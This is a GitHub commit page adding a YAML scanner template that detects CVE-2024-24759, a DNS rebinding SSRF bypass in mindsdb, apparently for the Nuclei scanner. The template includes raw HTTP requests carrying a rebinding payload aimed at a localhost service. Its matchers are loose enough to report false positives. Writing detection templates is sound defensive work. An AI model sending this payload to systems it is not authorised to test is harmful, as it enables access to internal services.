Skip to content

Commit

Permalink
Added CVE-2024-24759 Template
Browse files Browse the repository at this point in the history
Fixed CVE-2024-24759 Template

Fixed CVE-2024-24759 Template
  • Loading branch information
eeche committed Jan 4, 2025
1 parent 2db116d commit 17cd84e
Showing 1 changed file with 84 additions and 0 deletions.
84 changes: 84 additions & 0 deletions http/cves/2024/CVE-2024-24759.yaml
Original file line number Diff line number Diff line change
@@ -0,0 +1,84 @@
id: CVE-2024-24759 (dns-rebinding-ssrf-bypass)

info:
name: DNS Rebinding SSRF Protection Bypass
author: Lee Changhyun(eeche)
severity: high
description: |
Detects DNS rebinding vulnerability that allows bypass of SSRF protection.
The vulnerability exists in the URL validation mechanism where DNS resolution
is performed without considering DNS rebinding attacks.
impact:
- SSRF Protection Bypass
- DNS Rebinding
remidiation: |
Upgrade to mindsdb version 23.12.4.2 or later
reference:
- https://nvd.nist.gov/vuln/detail/CVE-2024-24759
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:H
cvss-score: 9.1
cve-id: CVE-2024-24759
cwe-id: CWE-918
epss-score: 0.00084
epss-percentile: 0.37577
cpe: cpe:2.3:a:mindsdb:mindsdb:*:*:*:*:*:*:*:*
metadata:
max-request: 3
vendor: mindsdb
product: mindsdb
version: < 23.12.4.2
tags:
- cve
- cve2024
- mindsdb
- ssrf
- dns-rebinding

http:
- raw:
- |
GET /check_private_url?url=https://www.example.com HTTP/1.1
Host: {{Hostname}}
Accept: application/json
- |
GET /check_private_url?url=http://localhost:8667 HTTP/1.1
Host: {{Hostname}}
Accept: application/json
- |
GET /check_private_url?url=http://make-190.119.176.214-rebind-127.0.0.1-rr.1u.ms:8667/ HTTP/1.1
Host: {{Hostname}}
Accept: application/json
matchers-condition: or
matchers:
- type: word
name: public-url-success
words:
- '"is_private": false'
- '"status_code": 200'
condition: and
part: body

- type: word
name: private-url-blocked
words:
- '"is_private": true'
- "Private IP address found"
condition: and
part: body

- type: word
name: dns-rebind-success
words:
- '"is_private": false'
- '"status_code": 200'
- "Directory listing for /"
condition: and
part: body

- type: status
status:
- 200

0 comments on commit 17cd84e

Please sign in to comment.